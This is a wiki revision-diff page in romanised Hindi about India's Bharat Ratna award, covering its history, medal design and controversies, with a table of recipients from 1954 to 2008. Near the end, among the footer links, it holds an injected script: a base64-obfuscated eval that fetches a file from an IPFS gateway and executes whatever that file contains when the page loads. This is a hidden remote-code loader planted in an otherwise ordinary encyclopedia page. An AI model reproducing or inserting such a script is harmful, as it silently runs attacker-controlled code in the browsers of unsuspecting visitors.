Difference between revisions of "भारत रत्‍न"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 170: Line 170:
 
|26 अगस्त 1910-5 सितंबर 1997
 
|26 अगस्त 1910-5 सितंबर 1997
 
|कॅथोलिक नन, मिशनरीज़ संस्थापक, [[नोबेल पुरस्कार]] विजेता
 
|कॅथोलिक नन, मिशनरीज़ संस्थापक, [[नोबेल पुरस्कार]] विजेता
|[[चित्र:Mother-Teresa.jpg|30px]]
+
|[[चित्र:Mother-Teresa-2.jpg|30px]]
 
|-
 
|-
 
|19  
 
|19  

Revision as of 07:56, 15 March 2011

bharat rath‍n
Bharat Ratna|thumb
‘bharat-ratn’ desh ka sarvochch samman hai. is alankaran se un vyaktiyoan ko sammanit kiya jata hai jinhoanne desh ke kisi bhi kshetr mean mahattvapoorn kary kie hoan, apane-apane kshetroan mean uth‍kri‍shh‍t kary kar hamare desh ka gaurav badhaya aur hamare desh ko aantararashh‍triy manh‍yata prapt huee. bharat rath‍n uchh‍chatam nagarik samh‍man hai, jo kala, sahith‍y, vijnan, rajanitijn, vicharak, vaijnanik, udyogapati, lekhak aur samajasevi ko asadharan seva ke lie tatha uchch lok seva ko manh‍yata dene ke lie bharat sarakar ki or se diya jata hai. ‘bharat-ratn’ un mahan vyaktiyoan ki jivan gatha to hai hi, sath mean un mahapurushoan ke jivan kal ka itihas bhi hai.

  • da. vishveshvaraiya ne jal ki apoorti, baandh adi ki jo yojanaean banaeean aur unhean sakar kiya, unaki us samay kalpana kathin thi.
  • mahan udyogapati je.ar.di. tata ne viman-seva us samay aranbh ki jab thik dhang se havaee adde bhi nahian the.

‘bharat-ratn’ aisi vibhootiyoan ka charitr-chitran hai jinake bina desh ka itihas adhoora hai.

‘bharat-ratn’ sarvochch samman

yah prativarsh diya janevala alankaran nahian. yah kisi vyakti ke sanpoorn vyaktitv aur desh ke prati usaki atyant samarpan bhavana ke lie yada-kada diya jane vala alankaran hai. any puraskaroan 'padmashri', 'padm bhooshan' aur 'padm vibhooshan' adi se ‘bharat-ratn’ shreshth puraskar hai. yah un adarsh mahan purushoan ko hi diya jata hai jinaki jivan gatha puny-bhagirathi ke saman hai, jise janakar ek sadharan manushy apane ap ko pap mukt aur nirmal pata hai. ‘bharat-ratn’ mean aisi vibhootiyoan ke divy charitr haian jinhoanne jivan ko itani ooanchaiyoan tak pahuanchaya jahaan ki koee kalpana nahian kar sakata. sanbhavat: ikabal ne aise hi mahan purushoan ke lie kaha tha-

khudi ko kar buland itana ki har takadir se pahale khuda bande se khud poochhe bata teri raza kya hai ?

‘bharat-ratn’ anek mahan vyaktiyoan ki jivan-gatha ke sath yah bharat ke us kal ka itihas bhi hai, jis kal se in adarsh purushoan ka sanbandh raha. ‘bharat-ratn’ keval rajanetaoan ka hi nahian varan isamean ve log bhi sammilit haian jinhoanne desh ko nee upalabdhi di aur desh ko pragati ke marg par agrasar karane ka yatn kiya.

svaroop

is purash‍kar ke roop mean die jane vale samh‍man ki mool roop - rekha 35 milimitar vh‍yas vala golakar sh‍varn padak hai jis par soory aur oopar hindi bhasha mean bharat rath‍n aur niche ek phooloan ka guladash‍ta bana hota hai pichhe ki or shasakiy sanket aur adarsh-vakh‍y likha hota hai. ise safed phite mean dalakar gale mean pahanaya jata hai. ek varsh bad is dijain ko badal diya gaya tha. taanbe ke bane pipal ke patte par pletinam ka chamakata soory bana diya gaya. jisake niche chaandi mean likha rahata hai "bharat ratn", aur yah safed phite ke sath gale mean pahana jata hai.

itihas

yah puraskar 2 janavari 1954 ko prarambh kiya gaya tha. yah puraskar bharat ke pratham rashtrapati shri da. rajendr prasad dvara ghoshit kiya gaya tha. doosare alankaranoan ke bhaanti is samman ko bhi, nam ke sath padavi ke roop mean prayog nahian kiya ja sakata hai. shuroo mean is samman ko 'maranoparaant' nahian diya jata tha, kiantu 1955 ke bad yah nirnay liya gaya aur yah maranoparaant bhi diya jane laga. ab tak yah samman 10 vyaktiyoan ko maranoparaant diya gaya hai. 13 julaee 1977 se 26 janavari 1980 tak is puraskar ko sthagit kar diya gaya tha.

parampara

bharat rath‍n purash‍kar ki paramh‍para 1954 mean shuroo huee thi.

  • bharat ratn 26 janavari ko bharat ke rashtrapati dvara diya jata hai.
  • sabase pahala purash‍kar prasiddh vaijnanik chandrashekhar veankataraman ko diya gaya tha. tab se anek vishishh‍t janoan ko apane-apane kshetr mean uth‍krishh‍tata pane ke lie yah purash‍kar prash‍tut kiya gaya hai.
  • janata parti dvara is puraskar ko 1977 mean band kar diya gaya tha kiantu 1980 mean kaangres sarakar ne ise phir se dobara shuroo kiya.
  • 1980 mean dobara shuroo hone par ise sarvapratham madar teresa ne prapt kiya tha.
  • hamare bhoo.poo. rashh‍trapati, vaijnanik d aau. e. pi. je. abh‍dul kalam ko bhi 1997 mean yah pratishthit purash‍kar diya gaya hai.
  • isaka koee likhit pravadhan nahian hai ki 'bharat rath‍n' keval bharatiy nagarikoan ko hi diya jaega.
  • yah purash‍kar sh‍vabhavik roop se bharatiy nagarik ban chuki 'egh‍nes goankha bojakhiyoo', jinh‍hean ham madar teresa ke nam se janate haian, ko diya gaya.
  • do anh‍y abharatiy - khan abdulagaffar khan ko 1987 mean aur nelh‍san mandela ko 1990 mean yah puraskar diya gaya.
  • yah bhi anivary nahian hai ki bharat rath‍n samh‍man prativarsh diya jaega.
  • maranoparaant sarvapratham lalabahadur shastri ko bharat ratn se sammanit kiya gaya tha.
  • shri satyapal anand ne rajiv gaandhi ko maranoparaant bharat ratn dene ki prakriya ko madhy pradesh uchch nyayalay mean chunauti di thi.
  • varsh 2008 mean yah samh‍man pandit bhimasen gurooraj joshi ko diya gaya tha.

virodhabhas

  • svatantrata senani netaji subhashachandr bos ko 1992 mean 'bharat ratn' se maranoparant sammanit kiya gaya tha. kiantu unaki mrityu vivadit hone ke karan anek prashnoan ko uthaya gaya tha. at: bharat sarakar ne yah puraskar vapas le liya tha. yah puraskar vapas lene ka yah ekamatr udaharan hai.
  • svatantr bharat ke pratham shiksha mantri shri maulana abul kalam azad ko jab 'bharat ratn' diya gaya to unhoanne isaka virodh kiya . unaka vichar tha ki isaki chayan samiti mean rahe vyakti ko yah samman nahian diya jana chahiye. 1992 mean unhean maranoparaant 'bharat ratn' diya gaya.

bharat ratn sammanit vyaktitv soochi

kram varsh nam jivan vishesh chitr
1 1954 d aauktar sarvapalli radhakrishnan 5 sitanbar 1888-17 aprail 1975 darshanik, dvitiy rashtrapati-bharat 30px
2 1954 chakravarti rajagopalachari 10 disanbar 1878-25 disanbar 1972 svatantrata senani, aantim gavarnar janaral 30px
3 1954 d aauktar chandrashekhar veankat raman 7 navanbar 1888-21 navanbar 1970 bhautikashastri, nobel puraskar vijeta 30px
4 1955 d aauktar bhagavan das 12 janavari 1869-18 sitanbar 1958 svatantrata senani, lekhak 30px
5 1955 sar d aau. mokshaguandam vishveshvarayya 15 sitanbar 1861-12 aprail 1962 sivil ianjiniyar, maisoor ke divan 30px
6 1955 pan. javahar lal neharoo 14 navanbar 1889-27 mee 1964 svatantrata senani, lekhak, pratham pradhanamantri-bharat 30px
7 1957 goviand ballabh pant 10 sitanbar 1887-7 march 1961 svatantrata senani, pratham mukhyamantri-uttar pradesh, dvitiy grihamantri-bharat 30px
8 1958 d aau. dhoando keshav karve 18 aprail 1858-9 navanbar 1962 shikshak, samajasudharak 30px
9 1961 d aau. bidhan chandr ray 1 julaee 1882-1 julaee 1962 chikitsak, mukhyamantri-pashchimi bangal 30px
10 1961 purooshottam das tandan 1 agast 1882-1 julaee 1962 svatantrata senani, shikshak 30px
11 1962 d aau. rajeandr prasad 3 disanbar 1884-28 faravari 1963 svatantrata senani, vidhivetta, pratham rashtrapati-bharat 30px
12 1963 d aau. zakir husain 8 faravari 1897-3 mee 1969 vidvan, tritiy rashtrapati-bharat 30px
13 1963 d aau. paandurang vaman kane 1880-1972 bharatavid, sanskrit vidvan 30px
14 1966 lal bahadur shastri 2 aktoobar 1904 - 11 janavari 1966, svatantrata senani, tritiy pradhanamantri,-bharat, (maranoparant) 30px
15 1971 iandira gaandhi 19 navanbar 1917-31 aktoobar 1984 chaturth pradhanamantri-bharat 30px
16 1975 varahagiri veankat giri 10 agast 1894-23 joon 1980 shramik sanghavadi, chaturth rashtrapati-bharat 30px
17 1976 ke. kamaraj 15 julaee 1903-1975, svatantrata senani, mukhyamantri-madras, (maranoparant) 30px
18 1980 madar teresa 26 agast 1910-5 sitanbar 1997 kॅtholik nan, mishanariz sansthapak, nobel puraskar vijeta 30px
19 1983 achary vinoba bhave 11 sitanbar 1895-15 navanbar 1982, svatantrata senani, samaj sudharak, (maranoparant) 30px
20 1987 khan abdulagaffar khan 20 janavari 1890-1988, svatantrata senani, pratham abharatiy praptakarta 30px
21 1988 marudur gopala ramachandran (em ji ar) 17 janavari 1917-24 disanbar 1987, abhineta, mukhyamantri-tamilanadu, (maranoparant) 30px
22 1990 d aau. bhimarav ramaji ambedakar 14 aprail 1891-6 disanbar 1956 bharatiy sanvidhan ke vastukar, rajanitijn, arthashastri, vidvan, (maranoparant) 30px
23 1990 nelh‍san mandela 18 julaee 1918, dvitiy abharatiy praptakarta, rangabhed virodhi aandolan ke neta, nobel puraskar vijeta 30px
24 1991 rajiv gaandhi 20 agast1944-21 mee 1991 satavean pradhanamantri, (maranoparant) 30px
25 1991 saradar vallabh bhaee patel 31 aktoobar 1875-15 disanbar 1950 svatantrata senani, pratham grihamantri-bharat, (maranoparant) 30px
26 1991 moraraji desaee 29 faravari 1896-10 aprail 1995 svatantrata senani, paanchave pradhanamantri-bharat 30px
27 1992 maulana abul kalam azad 11 navanbar 1888-22 faravari 1958 svatantrata senani, pratham shikshamantri-bharat, (maranoparant) 30px
28 1992 jahaangir ratanaji dadabhaee tata (je. ar. di. tata) 29 julaee 1904-29 navanbar 1993 udyogapati, (maranoparant) 30px
29 1992 satyajit re (ray) 2 mee 1921-23 aprail 1992 film nirmata-nirdeshak 30px
30 1997 e. pi. je. abdul kalam 15 aktoobar 1931 vaijnanik, gyarahavean rashtrapati-bharat 30px
31 1997 gulazari lal nanda 4 julaee 1897-15 janavari 1998 svatantrata senani, do bar karyavahak pradhanamantri-bharat 30px
32 1997 aruna asif ali 16 julaee 1909-29 julaee 1996 svatantrata senani, (maranoparant) 30px
33 1998 em.es.subbalakshmi 16 sitanbar 1916-11 disanbar 2004 gayika shastriy sangit 30px
34. 1998 si subrahmaniyam 30 janavari 1910-7 navanbar 2000 svatantrata senani, krishi mantri-bharat 30px
35 1998 jayaprakash narayan 11 aktoobar 1902-8 aktoobar 1979 svatantrata senani, rajanitijn, (maranoparant) 30px
36 1999 pan. ravi shankar 7 aprail 1920 sitar vadak 30px
37 1999 amarty sen 3 navanbar 1933 arthashastri, nobel puraskar vijeta 30px
38 1999 gopinath boradoloee 1890 -1950 svatantrata senani, mukhyamantri-asam, (maranoparant) 30px
39 2001 lata mangeshakar 28 sitanbar 1929 parshvagayika 30px
40 2001 ustad bismilla khaan 21 march 1916 - 21 agast 2006 shahanaee vadak 30px
41 2008 pan.bhimasen joshi 4 faravari 1922 shastriy gayak 30px


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

bahari k diyaan

link=#top|center|oopar jayean

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh